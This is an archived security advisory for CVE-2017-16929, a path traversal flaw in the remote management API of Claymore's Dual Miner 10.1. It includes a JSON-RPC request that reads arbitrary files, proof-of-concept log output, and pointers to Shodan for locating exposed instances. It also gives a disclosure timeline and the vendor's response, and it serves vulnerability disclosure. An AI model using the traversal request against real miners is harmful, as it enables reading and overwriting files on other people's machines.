Exploit the possiblities

Claymore's Dual Miner 10.1 Stack Buffer Overflow

Claymore's Dual Miner 10.1 Stack Buffer Overflow
Posted Dec 5, 2017
Authored by tintinweb

Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner versions 10.1 and below suffer from a stack buffer overflow vulnerability.

tags | exploit, overflow
advisories | CVE-2017-16929, CVE-2017-16930
MD5 | b5b0150ca62d32caa7710ac0b8863a4c

Claymore's Dual Miner 10.1 Stack Buffer Overflow

Change Mirror Download
Author:       <github.com/tintinweb>
Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-16929
Version: 0.2
Date: Nov 30th, 2017

Tag: claymore dual ethereum decred crypto currency miner

Overview

Name: Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner
Vendor: nanopool/claymore
References: * https://github.com/nanopool/Claymore-Dual-Miner
* https://bitcointalk.org/index.php?topic=1433925.0

Version: 10.1 [2]
Latest Version: 10.1 [2]
Other Versions: <= 10.1
Platform(s): windows, linux
Technology: C/C++

Vuln Classes: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Origin: remote
Min. Privs.: authenticated

Source: Closed; runtime protection mechanisms

CVE: CVE-2017-16929

Description

A specialized mining solution with remote management interface for mining ethereum / decred / siacoin / LBRY Credits / pascal coin.

quote website [1][2]

- Supports new "dual mining" mode: mining both Ethereum and Decred/Siacoin/Lbry/Pascal at the same time, with no impact on Ethereum mining speed. Ethereum-only mining mode is supported as well.
- Effective Ethereum mining speed is higher by 3-5% because of a completely different miner code - much less invalid and outdated shares, higher GPU load, optimized OpenCL code, optimized assembler kernels.
- Supports both AMD and nVidia cards, even mixed.
- No DAG files.
- Supports all Stratum versions for Ethereum: can be used directly without any proxies with all pools that support eth-proxy, qtminer or miner-proxy.
- Supports Ethereum and Siacoin solo mining.
- Supports both HTTP and Stratum for Decred.
- Supports both HTTP and Stratum for Siacoin. Note: not all Stratum versions are supported currently for Siacoin.
- Supports Stratum for Lbry and Pascal.
- Supports failover.
- Displays detailed mining information and hashrate for every card.
- Supports remote monitoring and management.
- Supports GPU selection, built-in GPU overclocking features and temperature management.
- Supports Ethereum forks (Expanse, etc).
- Windows and Linux versions.

Summary

"FOMO driven security blindness."

The remote management interface on the Claymore Dual GPU miner 10.1 is vulnerable to an authenticated relative directory traversal vulnerability exploited by issuing a specially crafted remote management request, allowing a remote attacker to read/write arbitrary files due to missing path validation/sanitation.

API calls
miner_getfile (read) ... read any file
miner_file (write) ... write any file

conditions:

authenticated
write: not in readonly mode

Successful exploitation would allow an authenticated user to read/write arbitrary files (process permissions)

See attached PoC.

Details

Service Discovery:

shodan: 'eth result' lists about 170-240 publicly available instances [3] with significant hash power
banner:

<html><body bgcolor="#000000" style="font-family: monospace;">
{"result": ["10.1 - ETH", "4286", "149336;7492;0", "30620;29877;28285;30605;29946", "0;0;0", "off;off;off;off;off", "62;65;51;64;61;75;51;67;62;72", "eth-us-east1.nanopool.org:9999", "0;1;0;0"]}<br><br><font color="#ff0000">Remote management: read-only mode, command miner_file ignored
</font><br><font color="#00ff00">ETH: 11/22/17-15:28:38 - SHARE FOUND - (GPU 3)
....

Remote Management API overview:

# >nc -L -p 3333
{"id":0,"jsonrpc":"2.0","method":"miner_getstat1"}
{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["epools.txt","<encoded>"]}
{"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}
{"id":0,"jsonrpc":"2.0","method":"miner_restart"}
{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}
{"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "1"]}
{"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["-1", "0"]}
{"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "2"]}
{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["config.txt","<encoded>"]}
{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["dpools.txt","<encoded>"]}

Directory Traversal:

miner_file and miner_getfile

both commands do not seem to attempt to sanitize the provided path in any way allowing for relative path traversal.

# Vector: traversal
# Description: path traversal
# Result: retrieves any file
"traversal": {"id":0,
"jsonrpc":"2.0",
"method":"miner_getfile",
"params":["../Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0/config.txt"]}, ##<<-- path travesal

//see PoC vector: traversal

See attached PoC.


Proof of Concept

Prerequisites:

compatible AMD/NVidia hardware

start miner in read/write mode with no passwort being set for testing

#> EthDcrMiner64.exe -epool http://192.168.0.1:8545 -mport 3333
...

run poc.py --vector=traversal (we expect EthDcrMiner64.exe to be placed in a directory called /Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0)

[poc.py - <module>() ][ INFO] --start--
[poc.py - <module>() ][ INFO] # Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner - Remote Buffer Overwrite
[poc.py - <module>() ][ INFO] # github.com/tintinweb
[poc.py - iter_targets() ][ WARNING] shodan apikey missing! shodan support disabled.
[poc.py - <module>() ][ INFO] [i] Target: 127.0.0.1:3333
[poc.py - <module>() ][ INFO] [+] connected.
[poc.py - <module>() ][ DEBUG] <-- 1048 '{"id": 0, "error": null, "result": ["../Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0/config.txt", "<encoded file data>"]}'
[poc.py - <module>() ][ INFO] --done--

EthDcrMiner returned the files content, as shown in the logs.

...
DCR: 11/22/17-22:56:06 - New job from pasc-eu2.nanopool.org:15555
Remote management: file ..\Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0\config.txt was uploaded
DCR: 11/22/17-22:56:16 - New job from pasc-eu2.nanopool.org:15555
...


Patch

n/A - closed source :/

Notes

Timeline

11/22/2017 - vendor contact: report sent
11/23/2017 - vendor response:
fixed version 10.2 ready and publicly available
request for 7+ day embargo
vendor statement:
The root case is that remote management was designed to be used in local network only.
But some "smart" people want to share ports to everyone and then catch problems. I will close
the issues you found, but attacker will be able to do something bad anyway, at least execute ddos
to prevent remote management work as expected.
12/04/2017 - public disclosure

Vendor Changelog

Latest version is v10.2:

- fixed critical issues in remote management feature (attacker could crash miner even in read-only mode).
- now miner supports up to #299 epoch.
- in rare cases ADL API calls can hang, now watchdog checks it as well.
- improved "-minspeed" option, check readme for details.
- added "miner_getstat2" command to remote management, check "API.txt" for details.
- EthMan: added detailed stats mode in main window.
- a few minor improvements in both miner and EthMan.

Runtime Protection

* Linux: packer / just compression
* gdb
* Windows: protector / anti-debug, vmprotect?
* x64dbg: DbgUiRemoteBreakin <- RET

References

[1] https://github.com/nanopool/Claymore-Dual-Miner
[2] https://bitcointalk.org/index.php?topic=1433925.0
[3] https://www.shodan.io/search?query=eth+result

Contact

https://github.com/tintinweb


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    15 Files
  • 2
    Dec 2nd
    2 Files
  • 3
    Dec 3rd
    1 Files
  • 4
    Dec 4th
    15 Files
  • 5
    Dec 5th
    15 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    17 Files
  • 8
    Dec 8th
    15 Files
  • 9
    Dec 9th
    13 Files
  • 10
    Dec 10th
    4 Files
  • 11
    Dec 11th
    41 Files
  • 12
    Dec 12th
    44 Files
  • 13
    Dec 13th
    25 Files
  • 14
    Dec 14th
    15 Files
  • 15
    Dec 15th
    28 Files
  • 16
    Dec 16th
    3 Files
  • 17
    Dec 17th
    13 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close